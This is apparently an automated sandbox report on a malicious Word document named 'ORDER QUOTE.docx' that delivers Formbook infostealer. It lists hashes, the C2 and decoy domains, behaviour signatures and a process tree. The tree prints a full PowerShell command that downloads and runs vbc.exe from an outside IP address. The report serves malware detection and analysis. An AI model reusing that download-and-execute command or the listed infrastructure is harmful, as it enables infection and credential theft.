Analysis

  • max time kernel
    168s
  • max time network
    169s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22-09-2021 18:20

General

  • Target

    ORDER QUOTE.docx

  • Size

    10KB

  • MD5

    eee70c12ab889fd6173de81fbc9a6817

  • SHA1

    673a841da220e5ba72e5f30d1d566569595ed352

  • SHA256

    7c41d53d6dd4f2979bfcdea462feef025b2f31cf55644f927ece5f4699a1b7a9

  • SHA512

    7647f0d5adcd468a6cbae4900ecb2887de0a0f89ba25893379f905f04b7b9ee0fa89af755c8cb1db8e4d613f11a8f9f80334de3e784677d1fac1ad51cc9db8d7

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://198.46.199.161/joo/vbc.exe

Extracted

Family

formbook

Version

4.1

Campaign

m8g0

C2

http://www.psicologarenatacruz.com/m8g0/

Decoy

trypapaya.pro

instructorcornernet.com

techadvisorsfl.com

raunnan.com

filestune.com

learnitanywhereskills.com

beaullife.com

getcovidwear.com

tkrbeautyinstitut.com

lisaphamkhai.com

iconicdds.com

ksoopawlas.com

testosteron.store

jctaketwo.com

awexz.online

onlinening.com

steelwerkschicago.com

lukakordic.com

expertsofcoaching.com

dashcca.com

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • suricata: ET MALWARE FormBook CnC Checkin (GET)

    suricata: ET MALWARE FormBook CnC Checkin (GET)

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Formbook Payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Abuses OpenXML format to download file from external location 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ORDER QUOTE.docx"
      2⤵
      • Abuses OpenXML format to download file from external location
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1596
      • C:\Windows\splwow64.exe
        C:\Windows\splwow64.exe 12288
        3⤵
          PID:1484
      • C:\Windows\SysWOW64\NAPSTAT.EXE
        "C:\Windows\SysWOW64\NAPSTAT.EXE"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1124
        • C:\Windows\SysWOW64\cmd.exe
          /c del "C:\Users\Admin\AppData\Local\Temp\vbc.exe"
          3⤵
            PID:1940
      • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
        "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
        1⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        • Launches Equation Editor
        • Suspicious use of WriteProcessMemory
        PID:612
        • C:\Users\Public\regasm.exe
          "C:\Users\Public\regasm.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:856
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')" & exit
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1552
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell "(New-Object System.Net.WebClient).DownloadFile('http://198.46.199.161/joo/vbc.exe', (Join-Path -Path $env:Temp -ChildPath 'vbc.exe'))"
              4⤵
              • Blocklisted process makes network request
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1292
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell "Start-Process -FilePath (Join-Path -Path $env:Temp -ChildPath 'vbc.exe')"
              4⤵
              • Loads dropped DLL
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1528
              • C:\Users\Admin\AppData\Local\Temp\vbc.exe
                "C:\Users\Admin\AppData\Local\Temp\vbc.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1576
                • C:\Users\Admin\AppData\Local\Temp\vbc.exe
                  "C:\Users\Admin\AppData\Local\Temp\vbc.exe"
                  6⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of AdjustPrivilegeToken
                  PID:288

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scripting

      1
      T1064

      Exploitation for Client Execution

      1
      T1203

      Defense Evasion

      Scripting

      1
      T1064

      Modify Registry

      1
      T1112

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_10a2719f-ab19-452c-9537-375fecbe5f96
        MD5

        df44874327d79bd75e4264cb8dc01811

        SHA1

        1396b06debed65ea93c24998d244edebd3c0209d

        SHA256

        55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

        SHA512

        95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1abda922-9e0e-4200-89d0-60796083afcc
        MD5

        be4d72095faf84233ac17b94744f7084

        SHA1

        cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

        SHA256

        b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

        SHA512

        43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_60554f64-a36e-4439-8748-76f202d7cb75
        MD5

        02ff38ac870de39782aeee04d7b48231

        SHA1

        0390d39fa216c9b0ecdb38238304e518fb2b5095

        SHA256

        fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

        SHA512

        24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6ccb18ff-7a22-469e-90e7-ccc861e1432b
        MD5

        b6d38f250ccc9003dd70efd3b778117f

        SHA1

        d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

        SHA256

        4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

        SHA512

        67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bd47eb21-a96b-4ccd-99d7-0d9f3f6c10b6
        MD5

        75a8da7754349b38d64c87c938545b1b

        SHA1

        5c28c257d51f1c1587e29164cc03ea880c21b417

        SHA256

        bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

        SHA512

        798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c9b427a0-6073-4eb8-9b09-f8e4712d7ab5
        MD5

        5e3c7184a75d42dda1a83606a45001d8

        SHA1

        94ca15637721d88f30eb4b6220b805c5be0360ed

        SHA256

        8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

        SHA512

        fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
        MD5

        6578ec99357506e42c90a0958e1ef641

        SHA1

        c3b044ad29cec617bcf298680f94ee08fab213c1

        SHA256

        0a2485724bec23db2b678136526c22d63a090b92a8d7ea155ac1248abb91831f

        SHA512

        548fe25d33bd62f3815b2a71ae9a9c10847ac2346a05e5d918bc8e5303e8fe839eac5055c3f6f513ce8b25be98b20d3e473a78514f08bc6f1f4f495fd66724da

      • C:\Users\Admin\AppData\Local\Temp\vbc.exe
        MD5

        3dac10541270990e15c8742b0cd6f153

        SHA1

        ed5c87e500c51e055ddb9160929a3dac51d3a393

        SHA256

        744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

        SHA512

        66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

      • C:\Users\Admin\AppData\Local\Temp\vbc.exe
        MD5

        3dac10541270990e15c8742b0cd6f153

        SHA1

        ed5c87e500c51e055ddb9160929a3dac51d3a393

        SHA256

        744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

        SHA512

        66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

      • C:\Users\Admin\AppData\Local\Temp\vbc.exe
        MD5

        3dac10541270990e15c8742b0cd6f153

        SHA1

        ed5c87e500c51e055ddb9160929a3dac51d3a393

        SHA256

        744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

        SHA512

        66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
        MD5

        0e2528389196f907bc3ed61792dd60da

        SHA1

        005ca3ae0d5ab8cce685579ebed399e3cdcfb558

        SHA256

        7d51953c4d0ac72b4cb470d146af013cc9623010a8ce6e19be35e4d09d5a353a

        SHA512

        50d657aafc614fe60fa7cc8d10bc32b8ab1238b8ac69515e9e74385035216bbe12d22a6261ce3912df11149629c3d23e654577033a4c7328b1ae03495d4bbbb6

      • C:\Users\Public\regasm.exe
        MD5

        7f06feab552ff5b4b5ea9c0c08a50982

        SHA1

        fec42fd952353328a01939c949ccb7031be50530

        SHA256

        053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

        SHA512

        9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

      • \Users\Admin\AppData\Local\Temp\vbc.exe
        MD5

        3dac10541270990e15c8742b0cd6f153

        SHA1

        ed5c87e500c51e055ddb9160929a3dac51d3a393

        SHA256

        744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

        SHA512

        66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

      • \Users\Admin\AppData\Local\Temp\vbc.exe
        MD5

        3dac10541270990e15c8742b0cd6f153

        SHA1

        ed5c87e500c51e055ddb9160929a3dac51d3a393

        SHA256

        744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

        SHA512

        66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

      • \Users\Public\regasm.exe
        MD5

        7f06feab552ff5b4b5ea9c0c08a50982

        SHA1

        fec42fd952353328a01939c949ccb7031be50530

        SHA256

        053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

        SHA512

        9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

      • \Users\Public\regasm.exe
        MD5

        7f06feab552ff5b4b5ea9c0c08a50982

        SHA1

        fec42fd952353328a01939c949ccb7031be50530

        SHA256

        053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

        SHA512

        9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

      • memory/288-129-0x0000000000C90000-0x0000000000F93000-memory.dmp
        Filesize

        3.0MB

      • memory/288-130-0x00000000003B0000-0x00000000003C5000-memory.dmp
        Filesize

        84KB

      • memory/288-132-0x00000000005E0000-0x00000000005F5000-memory.dmp
        Filesize

        84KB

      • memory/288-127-0x000000000041F1B0-mapping.dmp
      • memory/288-126-0x0000000000400000-0x000000000042F000-memory.dmp
        Filesize

        188KB

      • memory/856-67-0x0000000000000000-mapping.dmp
      • memory/1124-136-0x0000000000350000-0x0000000000396000-memory.dmp
        Filesize

        280KB

      • memory/1124-137-0x0000000000080000-0x00000000000AF000-memory.dmp
        Filesize

        188KB

      • memory/1124-134-0x0000000000000000-mapping.dmp
      • memory/1124-138-0x0000000002010000-0x0000000002313000-memory.dmp
        Filesize

        3.0MB

      • memory/1124-139-0x0000000001F20000-0x0000000001FB4000-memory.dmp
        Filesize

        592KB

      • memory/1204-131-0x00000000041D0000-0x0000000004326000-memory.dmp
        Filesize

        1.3MB

      • memory/1204-133-0x0000000006790000-0x0000000006847000-memory.dmp
        Filesize

        732KB

      • memory/1204-140-0x0000000007140000-0x00000000072A2000-memory.dmp
        Filesize

        1.4MB

      • memory/1292-78-0x00000000025A0000-0x00000000025A1000-memory.dmp
        Filesize

        4KB

      • memory/1292-77-0x00000000021E2000-0x00000000021E3000-memory.dmp
        Filesize

        4KB

      • memory/1292-82-0x000000007EF30000-0x000000007EF31000-memory.dmp
        Filesize

        4KB

      • memory/1292-88-0x0000000006080000-0x0000000006081000-memory.dmp
        Filesize

        4KB

      • memory/1292-72-0x0000000000000000-mapping.dmp
      • memory/1292-74-0x0000000002180000-0x0000000002181000-memory.dmp
        Filesize

        4KB

      • memory/1292-75-0x00000000046B0000-0x00000000046B1000-memory.dmp
        Filesize

        4KB

      • memory/1292-83-0x0000000005680000-0x0000000005681000-memory.dmp
        Filesize

        4KB

      • memory/1292-97-0x00000000062C0000-0x00000000062C1000-memory.dmp
        Filesize

        4KB

      • memory/1292-76-0x00000000021E0000-0x00000000021E1000-memory.dmp
        Filesize

        4KB

      • memory/1292-96-0x00000000061F0000-0x00000000061F1000-memory.dmp
        Filesize

        4KB

      • memory/1292-89-0x0000000006220000-0x0000000006221000-memory.dmp
        Filesize

        4KB

      • memory/1292-79-0x0000000005280000-0x0000000005281000-memory.dmp
        Filesize

        4KB

      • memory/1484-70-0x000007FEFBEA1000-0x000007FEFBEA3000-memory.dmp
        Filesize

        8KB

      • memory/1484-69-0x0000000000000000-mapping.dmp
      • memory/1528-114-0x00000000056D0000-0x00000000056D1000-memory.dmp
        Filesize

        4KB

      • memory/1528-105-0x0000000004780000-0x0000000004781000-memory.dmp
        Filesize

        4KB

      • memory/1528-104-0x0000000005380000-0x0000000005381000-memory.dmp
        Filesize

        4KB

      • memory/1528-103-0x0000000004730000-0x0000000004731000-memory.dmp
        Filesize

        4KB

      • memory/1528-102-0x0000000004910000-0x0000000004911000-memory.dmp
        Filesize

        4KB

      • memory/1528-101-0x0000000000F20000-0x0000000000F21000-memory.dmp
        Filesize

        4KB

      • memory/1528-98-0x0000000000000000-mapping.dmp
      • memory/1528-106-0x0000000004782000-0x0000000004783000-memory.dmp
        Filesize

        4KB

      • memory/1552-71-0x0000000000000000-mapping.dmp
      • memory/1576-123-0x0000000004D30000-0x0000000004D91000-memory.dmp
        Filesize

        388KB

      • memory/1576-117-0x0000000000000000-mapping.dmp
      • memory/1576-119-0x0000000000C00000-0x0000000000C01000-memory.dmp
        Filesize

        4KB

      • memory/1576-121-0x00000000006D0000-0x00000000006ED000-memory.dmp
        Filesize

        116KB

      • memory/1576-124-0x00000000008E0000-0x0000000000912000-memory.dmp
        Filesize

        200KB

      • memory/1576-122-0x0000000004DD0000-0x0000000004DD1000-memory.dmp
        Filesize

        4KB

      • memory/1596-63-0x0000000075891000-0x0000000075893000-memory.dmp
        Filesize

        8KB

      • memory/1596-60-0x00000000729A1000-0x00000000729A4000-memory.dmp
        Filesize

        12KB

      • memory/1596-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1596-61-0x0000000070421000-0x0000000070423000-memory.dmp
        Filesize

        8KB

      • memory/1596-141-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1940-135-0x0000000000000000-mapping.dmp